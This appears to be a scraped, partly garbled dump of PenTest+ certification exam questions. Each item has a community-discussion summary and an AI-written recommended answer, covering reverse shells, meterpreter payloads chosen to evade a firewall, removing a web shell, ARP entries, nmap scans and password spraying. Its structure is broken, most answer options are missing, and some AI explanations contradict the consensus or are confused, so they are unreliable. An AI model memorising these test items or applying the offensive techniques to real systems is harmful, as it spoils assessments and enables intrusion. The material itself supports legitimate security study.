\nIn summary, the key characteristic of SOCK_DGRAM is that it provides a connectionless datagram service.\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is the MOST important information to have on a penetration testing report that is written for the developers?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Executive summary", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B) Remediation steps, which the reason is the comments agree that developers need detailed information on how to fix the vulnerabilities, and that the remediation steps provide actionable steps to address the issues identified during penetration testing. Comments highlight that the methodology is for the technical audience like IT staff.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, B (Remediation).
\nThe most important information for developers in a penetration testing report is the remediation steps. Developers are primarily responsible for fixing the vulnerabilities identified during the penetration test. Providing clear, actionable remediation steps allows them to efficiently and effectively address the issues.
\nHere's why the other options are less important for developers:\n
\nTherefore, remediation steps are the most directly applicable and important information for developers to effectively resolve security vulnerabilities identified in a penetration testing report.\n
"}, {"folder_name": "topic_1_question_198", "topic": "1", "question_num": "198", "question": "After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:Which of the following actions should the tester perform FIRST?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:![](\"topic_1_question_198/image_0.png\"/)
Which of the following actions should the tester perform FIRST?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion from Q3 2023 to Q2 2025, the conclusion of the answer to this question is D, which the reason is that the first action to be performed is to start a reverse shell using the .sh script with root permissions, which could be achieved by adding a malicious code into the script. Some comments also suggest that while privilege escalation is possible, it's better to establish a backdoor first by setting up a reverse shell.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant suggests another answer which is D. Start a reverse shell.
\nReasoning:
\nThe question indicates the penetration tester has already gained initial access to the system with a non-privileged account and has identified a potentially useful file. The prompt is \"Which of the following actions should the tester perform FIRST?\". Based on the prompt and scenario, the most logical first action is to establish a more persistent and reliable form of access before attempting further actions, especially privilege escalation. Establishing a reverse shell provides a backdoor, allowing continued access even if the initial vulnerability is patched or the tester's initial access is revoked. It is a common practice in penetration testing to establish a stable foothold before other actions. The .sh script with root permissions could be leveraged to establish this backdoor. This approach allows the tester to maintain access while they explore privilege escalation or other objectives.
\nWhy other options are less suitable:
\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "An unknown-environment assessment", "html": "Agree with Suggested Answer From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is C. A red-team assessment, which the reason is red-team assessments are designed to simulate real-world attacks, focusing on vulnerabilities to access specific data and achieve particular objectives, which aligns with the question's focus. Other answers like known-environment assessment and compliance-based assessments are not correct because known-environment assessments are for identifying weaknesses efficiently, and compliance-based assessments ensure that an organization's systems and networks comply with industry standards and regulations.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, C. A red-team assessment.
\nReasoning: Red team assessments are specifically designed to mimic real-world attacks, with the explicit objective of exploiting vulnerabilities to gain access to specific data or achieve predefined objectives. This aligns perfectly with the question's focus on vulnerability exploitation to access data.
\nWhy other options are not suitable:\n
Therefore, option C is the most appropriate answer because it directly addresses the question's emphasis on vulnerability exploitation with the goal of accessing specific data.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The tester had the situational awareness to stop the transfer.", "html": "From the internet discussion, the consensus answer to this question is A. The comments agree with the answer because the scenario involves accessing confidential information, which is explicitly out of scope, making it both unethical and illegal to continue the test. Good penetration testers adhere to the rules of engagement (ROE) and legal boundaries during their tests.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A.
\nReasoning: The scenario explicitly states that the PII was out of scope, and the tester immediately stopped the transfer upon discovering it. This demonstrates situational awareness, which is the ability to recognize, interpret, and project the status of relevant elements in the environment. In this context, situational awareness means recognizing that accessing and transferring PII, which is out of scope, is inappropriate and potentially illegal, therefore requiring immediate cessation of the activity. The action aligns with ethical hacking principles and adherence to the ROE.
\nReasons for not choosing other answers:\n
Therefore, the most likely explanation is that the tester had the situational awareness to stop the transfer because it involved PII that was out of scope.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "windows/x64/meterpreter/reverse_tcp", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is E. windows/x64/meterpreter/reverse_https, which the reason is because HTTPS is less likely to be detected and blocked by network devices such as IPS or firewalls, because the communication will be encrypted. Other opinions like A, C, and D are also discussed, and the comments suggest that using standard TCP or PowerShell might be more easily detected and blocked by network devices.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of E. windows/x64/meterpreter/reverse_https.
\n
\nReasoning:
\nGiven that the penetration tester suspects a network device (IPS or next-generation firewall) is dropping the connection, the most likely payload to succeed is one that uses encrypted communication over a standard port. HTTPS (Hypertext Transfer Protocol Secure) uses TLS/SSL to encrypt HTTP traffic, typically on port 443. This encryption makes it harder for network devices to inspect the traffic and identify malicious payloads. Because the traffic appears as normal HTTPS, it is less likely to be blocked.
\n
\nWhy other options are less likely:\n
\nCititations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website’s response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Situational awareness", "html": "Agree with Suggested Answer. From the internet discussion including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is D. Deconfliction, which the reason is the network engineer is contacting the penetration tester to determine whether the flood of GET requests is part of the authorized testing or a potential attack, the goal of this process is to avoid conflicts between testing and operational stability. Other options are not correct because they don't accurately describe the primary goal of communication between the network engineer and penetration tester in this scenario.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, D. Deconfliction.
\n
\nReasoning:\nThe scenario describes a situation where a network engineer observes unusual activity (a flood of GET requests) and needs to determine if it's part of the penetration test or a genuine attack. The primary goal of contacting the penetration tester is to avoid conflicts between the penetration testing activities and normal network operations. This aligns perfectly with the definition of deconfliction. Deconfliction ensures that different activities don't interfere with each other. In this case, it is to make sure the penetration test is not mistaken for a malicious attack and does not disrupt legitimate network traffic.
\n
\nWhy other options are not the best choice:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is the BEST resource for obtaining payloads against specific network infrastructure products?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Exploit-DB", "html": "Agree with Suggested Answer From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B. Metasploit, which the reason is Metasploit contains the payloads. While some opinions suggested Exploit-DB as the best resource, they are more for exploits, and some payloads might not be included in Metasploit. Therefore, Metasploit is the best resource to obtain payloads.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is B. Metasploit.
\nReasoning: Metasploit is a framework that includes a vast collection of payloads designed for various purposes, including exploiting vulnerabilities in network infrastructure products. It is actively maintained and updated with new payloads.
\nWhy other options are not the BEST:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester gives the following command to a systems administrator to execute on one of the target servers:
rm -f /var/www/html/G679h32gYu.php
Which of the following BEST explains why the penetration tester wants this command executed?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. To remove a web shell after the penetration test, which the reason is the file \"G679h32gYu.php\" may be a web shell uploaded during the test. Removing the web shell after the test prevents unauthorized access to the server.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is C: To remove a web shell after the penetration test.
\nThe primary reason for this choice is that the command 'rm -f /var/www/html/G679h32gYu.php' is designed to forcefully remove a specific PHP file from the web server's document root. The filename \"G679h32gYu.php\" strongly suggests a randomly named PHP file, a common characteristic of web shells uploaded during penetration tests. Removing this file ensures that the attacker's access point is eliminated, preventing further unauthorized access.
\nHere's why the other options are less likely:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe following PowerShell snippet was extracted from a log of an attacker machine:![](\"topic_1_question_205/image_0.png\"/)
A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer A From the internet discussion, the conclusion of the answer to this question is A. $cat = 22, 25, 80, 443, which the reason is that in PowerShell, defining an array using a comma-separated list is valid. The comments also state that B is incorrect because it uses square brackets, which is not the standard way to define an array in PowerShell, and C and D are also not correct because they are not defining arrays. Some comments point to the Microsoft documentation as a reference.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is correct.
\nLine 8 defines the array. The line `$cat = 22, 25, 80, 443` in the PowerShell snippet is where the array is defined. In PowerShell, a comma-separated list of values assigned to a variable creates an array. Therefore, `$cat` is assigned an array containing the values 22, 25, 80, and 443.
\nHere's a breakdown of why the other options are incorrect:\n
\nTherefore, based on the PowerShell syntax for array definition, line 8 is the only one that fits the description.\n
"}, {"folder_name": "topic_1_question_206", "topic": "1", "question_num": "206", "question": "A company provided the following network scope for a penetration test:•\t169.137.1.0/24•\t221.10.1.0/24•\t149.14.1.0/24A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company provided the following network scope for a penetration test:
•\t169.137.1.0/24
•\t221.10.1.0/24
•\t149.14.1.0/24
A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
\nAgree with Suggested Answer From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is A. The company that requested the penetration test, which the reason is that the requesting company is primarily responsible for defining the scope of the penetration test, and thus, responsible for any mistakes in that scope, such as including a third-party IP address. Many comments highlighted that the penetration tester is not expected to question every IP provided by the client and that it is the client's responsibility to ensure the accuracy of the provided scope. Although some users initially suggested other answers, the prevailing sentiment favors the requesting company, and some comments cite the \"All-in-One\" guide.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer: A. The company that requested the penetration test.
\nReasoning: The company requesting the penetration test is ultimately responsible for defining the scope of the test. This includes ensuring that all IP addresses and systems within the specified scope are authorized for testing. By including a third-party IP address (149.14.1.24) in the scope, the requesting company made the mistake that led to the unauthorized exploitation.
\n The penetration tester operates under the assumption that the scope provided by the client is accurate and authorized. They are not typically expected to independently verify the ownership or authorization status of each IP address within the scope, especially since that falls outside of their expertise. While a skilled penetration tester might raise concerns if something seems obviously out of place, the primary responsibility for defining an accurate scope lies with the client requesting the test.
\nReasons for not choosing other answers:\n
\n It is crucial for companies to thoroughly review and validate the scope of penetration tests to avoid unintended consequences and legal issues related to unauthorized access or testing of third-party systems.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tIn an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format:
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Recommend using a password manager/vault instead of text files to store passwords securely., which the reason is the discovery of cleartext passwords in an unprotected location is a critical finding that needs immediate attention. The comments suggest prioritizing the remediation of this vulnerability by recommending a secure storage solution. Other answers were considered less appropriate as they involve further exploitation or are not the immediate next step in addressing the security risk.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is A, Create a custom password dictionary as preparation for password spray testing.
\n
\nReasoning: The question asks for the \"NEXT\" best action. Discovering a pattern in the passwords (name-serial_number) allows the penetration tester to create a custom password dictionary. This is the immediate next step to further exploit the vulnerability and assess the extent of the compromise. Password spraying with a custom dictionary based on discovered patterns is a common and effective technique in penetration testing to validate the weakness.
\n
\nWhy other options are not the best NEXT action:\n
\nThe discussion suggests choosing answer B, which is incorrect because a penetration tester's primary role is to identify and exploit vulnerabilities, not to immediately fix them. Recommending a password manager is a valid security practice, but it is a remediation step that comes after the pentester has fully assessed the extent of the vulnerability by exploiting it. Therefore, the most appropriate next action is to create a custom password dictionary and perform password spraying to assess the impact of the exposed credentials.\n
"}, {"folder_name": "topic_1_question_208", "topic": "1", "question_num": "208", "question": "During the reconnaissance phase, a penetration tester obtains the following output:Reply from 192.168.1.23: bytes=32 time<54ms TTL=128Reply from 192.168.1.23: bytes=32 time<53ms TTL=128Reply from 192.168.1.23: bytes=32 time<60ms TTL=128Reply from 192.168.1.23: bytes=32 time<51ms TTL=128Which of the following operating systems is MOST likely installed on the host?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring the reconnaissance phase, a penetration tester obtains the following output:
Reply from 192.168.1.23: bytes=32 time<54ms TTL=128
Reply from 192.168.1.23: bytes=32 time<53ms TTL=128
Reply from 192.168.1.23: bytes=32 time<60ms TTL=128
Reply from 192.168.1.23: bytes=32 time<51ms TTL=128
Which of the following operating systems is MOST likely installed on the host?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C. Windows, which the reason is the default TTL (Time To Live) value for most Windows distros is 128. Other operating systems such as Linux and macOS typically have a default TTL value of 64.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer of C. Windows.
\nReasoning:
\nThe question provides output from a ping command, specifically focusing on the TTL (Time To Live) value. The TTL value is a hop limit set in the IP header of a packet, which decreases by one each time the packet passes through a router. The initial TTL value is set by the operating system of the sending host, and different operating systems use different default TTL values.
\nThe provided output shows a TTL of 128. This is a strong indicator that the operating system is Windows.\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Prohibiting exploitation in the production environment", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Requiring all testers to review the scoping document carefully, which the reason is the most effective way to prevent the tester from misunderstanding the scope of the assessment is to ensure all team members, including those joining mid-assessment, are aware of the requirements and restrictions defined in the scoping document. Other options are not as effective since they either do not address the root cause of the issue or are too restrictive and may not be practical in a real-world scenario.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is correct.
\nThe most effective way to prevent a penetration tester from performing unauthorized actions is to ensure they are fully aware of the assessment's scope and limitations, as outlined in the scoping document. Requiring all testers to review this document, especially those joining mid-assessment, directly addresses the root cause of the problem: a lack of awareness of the engagement's rules.
\nHere's why the other options are less effective:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tUser credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "MD5", "html": "Agree with Suggested Answer. From the internet discussion from Q2 2023 to Q1 2025, the conclusion of the answer to this question is A. MD5, which the reason is MD5 is a hashing algorithm that is considered cryptographically broken and vulnerable to collision attacks. Rainbow tables pre-compute hashes for various password combinations, making it easier to crack passwords stored using MD5. Other algorithms like bcrypt, SHA-1, and PBKDF2 are more secure and resistant to rainbow table attacks due to salting.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A. MD5.
\nReasoning: MD5 is known to be cryptographically weak and susceptible to rainbow table attacks. Rainbow tables are precomputed tables of hashes that allow for rapid password cracking, especially against weaker hashing algorithms like MD5. MD5 lacks salting by default, making it even more vulnerable. The question specifies that the credentials were \"easily\" cracked using rainbow tables, indicating a weak hashing algorithm was used.
\nWhy other options are less likely:
\n
In summary, the ease with which the passwords were cracked using rainbow tables points strongly towards MD5 as the hashing algorithm used.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The injection was too slow.", "html": "From the internet discussion from Q2 2023 to Q1 2025, the consensus answer to this question is D. The client did not receive a trusted response, which the reason is the most likely cause of the attack failing because if the client does not receive a trusted response from the DNS server, the attack will fail. Some comments also suggest that if the DNS cache was not refreshed, the attack would fail. Another opinion suggested that if the injection was too slow, the attack might fail.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer D. The client did not receive a trusted response.
\nReasoning: The most likely reason a DNS poisoning attack would fail, resulting in no traffic from the target machine, is that the client never accepted the manipulated DNS response as valid. DNS clients validate responses to ensure they originate from a trusted source. If the injected (poisoned) response fails this validation, the client will ignore it, and the attack will fail. This can occur due to incorrect transaction IDs, source ports, or cryptographic signatures (if DNSSEC is enabled). If the client does not accept the response, it won't attempt to connect to the attacker-controlled IP address. DNS poisoning relies on the client trusting the response it receives.
\nWhy other options are less likely:\n
Therefore, the correct answer is D. The client did not receive a trusted response.
\nIn summary: A successful DNS poisoning attack requires the client to accept the attacker's response as valid. If the client rejects the response (due to validation failures), the attack fails and no traffic is seen going to the attacker's controlled destination.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Changing to Wi-Fi equipment that supports strong encryption", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Use directional antennae, which the reason is the best way to limit the Wi-Fi signal to inside the building and prevent unauthorized access from outside. Some comments suggest that strong encryption like WPA2 or WPA3 can significantly improve Wi-Fi security, while others suggest that WPA3 can still be cracked by the aircrack-ng tool. Others suggest that changing the encryption or disabling Wi-Fi is not the best choice because it's not the most practical solution. However, the question is specifically asking how to prevent access from outside the building.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer.
\nSuggested Answer: B. Using directional antennae.
\nReasoning:
\nThe question focuses on preventing access from outside the building. Directional antennas concentrate the Wi-Fi signal in a specific direction, limiting its range outside the building. This makes it harder for attackers outside the building to intercept or connect to the network.
\nWhy other options are not the best:\n
\nTherefore, using directional antennas is the most appropriate solution to limit the Wi-Fi signal's range and prevent unauthorized access from outside the building.\n
"}, {"folder_name": "topic_1_question_213", "topic": "1", "question_num": "213", "question": "A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:Which of the following should the penetration tester do NEXT?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:![](\"topic_1_question_213/image_0.png\"/)
Which of the following should the penetration tester do NEXT?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is the pentester's job is to report the findings of a potential compromise immediately to the client. It is not within the scope of the penetration tester to investigate further unless it is specified in the SOW. Other opinions consider C as the correct answer, but the main reason why this is not correct is, the pentester could compromise any forensics and delay remediation if they investigate further or this is not within the scope of his responsibilities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the scenario and the provided options, the AI recommends option D (Contact the client immediately).
\nReasoning:
\nThe penetration tester has discovered a vulnerability and successfully exploited it to gain a reverse shell. Further enumeration revealed suspicious high-numbered port connections. While investigating these connections (Option C) might seem logical from a technical perspective, the priority in a penetration testing engagement is to immediately inform the client of a confirmed compromise. This allows the client to take immediate action to contain the incident, begin remediation, and prevent further damage. Delaying notification to investigate further could allow the attacker (in this case, the penetration tester) to cause more damage or potentially be discovered by a real malicious actor in the environment.
\nAccording to PT0-002 exam objectives and best practices in penetration testing, responsible disclosure is paramount. Upon confirming a significant security issue, the client should be notified so they can initiate their incident response procedures. While the SOW (Scope of Work) dictates the overall activities, discovery of an active compromise necessitates immediate communication.
\nWhy other options are not the best choice:\n
\nIn summary, the most responsible and ethical course of action, and the one most aligned with penetration testing best practices and the PT0-002 objectives, is to immediately contact the client.\n
"}, {"folder_name": "topic_1_question_214", "topic": "1", "question_num": "214", "question": "A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:IP Address: 192.168.1.63 -Physical Address: 60-36-dd-a6-c5-33Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:
IP Address: 192.168.1.63 -
Physical Address: 60-36-dd-a6-c5-33
Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is B. arp -s 192.168.1.63 60-36-DD-A6-C5-33, which the reason is the arp -s command is used to create a static ARP entry, associating an IP address with a specific MAC address. This allows the penetration tester to potentially maintain a connection within a VLAN by ensuring network packets are correctly routed based on the spoofed MAC address.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion, the AI agrees with the suggested answer of B. arp -s 192.168.1.63 60-36-DD-A6-C5-33.
\n
\nReasoning:
\nThe `arp -s` command is the correct utility for creating static ARP entries on Unix-like systems, including Linux. The syntax provided in option B, `arp -s 192.168.1.63 60-36-DD-A6-C5-33`, is the standard way to associate the IP address 192.168.1.63 with the MAC address 60-36-DD-A6-C5-33 in the ARP cache. This ensures that any traffic directed to 192.168.1.63 will be sent to the specified MAC address, which is crucial for maintaining connectivity after an exploit or for ARP spoofing purposes. The command needs to be executed with root privileges.
\n
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Vulnerability scanning", "html": "From the internet discussion, the conclusion of the answer to this question is B. Network segmentation, which the reason is that network segmentation is the best control for PCI compliance to protect sensitive customer data like credit card numbers. This approach isolates different parts of the network, placing customer information in a separate segment with stricter access controls, thus making it harder for attackers to access sensitive data even if they breach one part of the network. PCI DSS specifically mandates network segmentation to isolate the cardholder data environment from the rest of the network. While network segmentation can be achieved through various methods beyond VLANs such as physical network segmentation, subnetting, firewall rules, or ACLs.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is correct. The best measure for PCI compliance to protect sensitive data in this scenario is network segmentation.
\nReasoning:
\nWhy other options are less suitable:
\nTherefore, network segmentation provides the most direct and effective way to protect sensitive data and comply with PCI DSS requirements in this scenario.
\nCititations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Nmap -s 445 -Pn -T5 172.21.0.0/16", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Nmap -p 445 -n -T4 –open 172.21.0.0/16, which the reason is the command is suitable for quickly scanning SMB port 445 on a /16 network when stealth is not a concern, because it uses the correct syntax for specifying port 445, disables DNS resolution for speed (-n), sets a moderate timing template (-T4), and only shows open ports (--open). The comments also note that other options are incorrect because they have syntax errors, are unnecessarily slow, or use inappropriate options for the given task. Some comments also highlight that the -max flag in option D will make the scan slower.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer B. Nmap -p 445 -n -T4 --open 172.21.0.0/16
\n
\nReasoning:
\nThis command is the most suitable for quickly scanning SMB port 445 on a /16 network when stealth is not a concern and time is sensitive. Let's break down why:\n
-p 445: Specifies that the scan should only target port 445. This is the most direct way to specify the SMB port.-n: Disables DNS resolution. DNS resolution can add significant time to a scan, especially on a large network. Since stealth isn't a concern, disabling DNS resolution speeds things up.-T4: Sets the timing template to \"Aggressive\". Nmap has timing templates from T0 (paranoid) to T5 (insane). T4 is aggressive and speeds up the scan, which aligns with the time-sensitive requirement.--open: Only shows open ports. This filters the output to only show the ports that are open, reducing the amount of data to process and review.172.21.0.0/16: Specifies the target network using CIDR notation.\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tPenetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Peach", "html": "\nAgree with Suggested Answer From the internet discussion from Q2 2022 to Q2 2024, the conclusion of the answer to this question is C. GDB, which the reason is GDB (GNU Debugger) is a powerful and versatile command-line debugger that can be used on various platforms, including Linux, making it ideal for analyzing Linux 64-bit executables. Furthermore, GDB allows for disassembling binaries, setting breakpoints, and stepping through code. Other options like Peach, WinDbg, and OllyDbg are not suitable because Peach is a fuzzing tool, and WinDbg and OllyDbg are designed for Windows environments, not Linux.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is C. GDB.
\nReasoning: The question asks for the best tool to analyze an unknown Linux 64-bit executable binary. GDB (GNU Debugger) is the most suitable choice because it is a powerful, command-line debugger specifically designed for Linux and other Unix-like operating systems. It allows penetration testers to disassemble binaries, set breakpoints, step through the code, inspect variables, and perform other essential debugging tasks necessary for analyzing unknown executables. This makes GDB the best tool for understanding the program's functionality and identifying potential security vulnerabilities.
\nWhy other options are not the best choice:\n
\n Therefore, GDB is the most appropriate tool for analyzing an unknown Linux 64-bit executable.\n
\n\nSuggested Answer: C\n
\n\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.
Which of the following remediation techniques would be the BEST to recommend? (Choose two.)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, which spans from Q2 2022 to Q1 2025, the consensus answer to this question is D. Users' input validation and E. Parameterized queries. The comments agree with these answers because they directly address the core of the SQL injection vulnerability by securing user input and preventing the injection of malicious code into SQL queries. These two options are the best recommendations for immediate remediation of SQL injection vulnerabilities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer partially and recommends options D and E.
\nThe question asks for the BEST remediation techniques for SQL injection vulnerabilities. Options D (Users' input validation) and E (Parameterized queries) are the most effective and direct mitigations.
\n
\nReasoning for choosing D and E:\n
\nTherefore, the best remediation techniques to recommend are D. Users' input validation and E. Parameterized queries as they directly address the SQL injection vulnerability.\n
\nSuggested Answer: D and E
\n\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is a rules engine for managing public cloud accounts and resources?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Cloud Custodian", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is Cloud Custodian, which the reason is that Cloud Custodian is an open-source tool specifically designed for managing and securing public cloud accounts and resources. It enables users to define policies to automate security best practices, optimize cloud costs, and enforce compliance. Many comments agreed that Cloud Custodian is a rules engine for managing public cloud accounts and resources and provides an integrated platform for managing cloud security, compliance, and cost optimization resources.
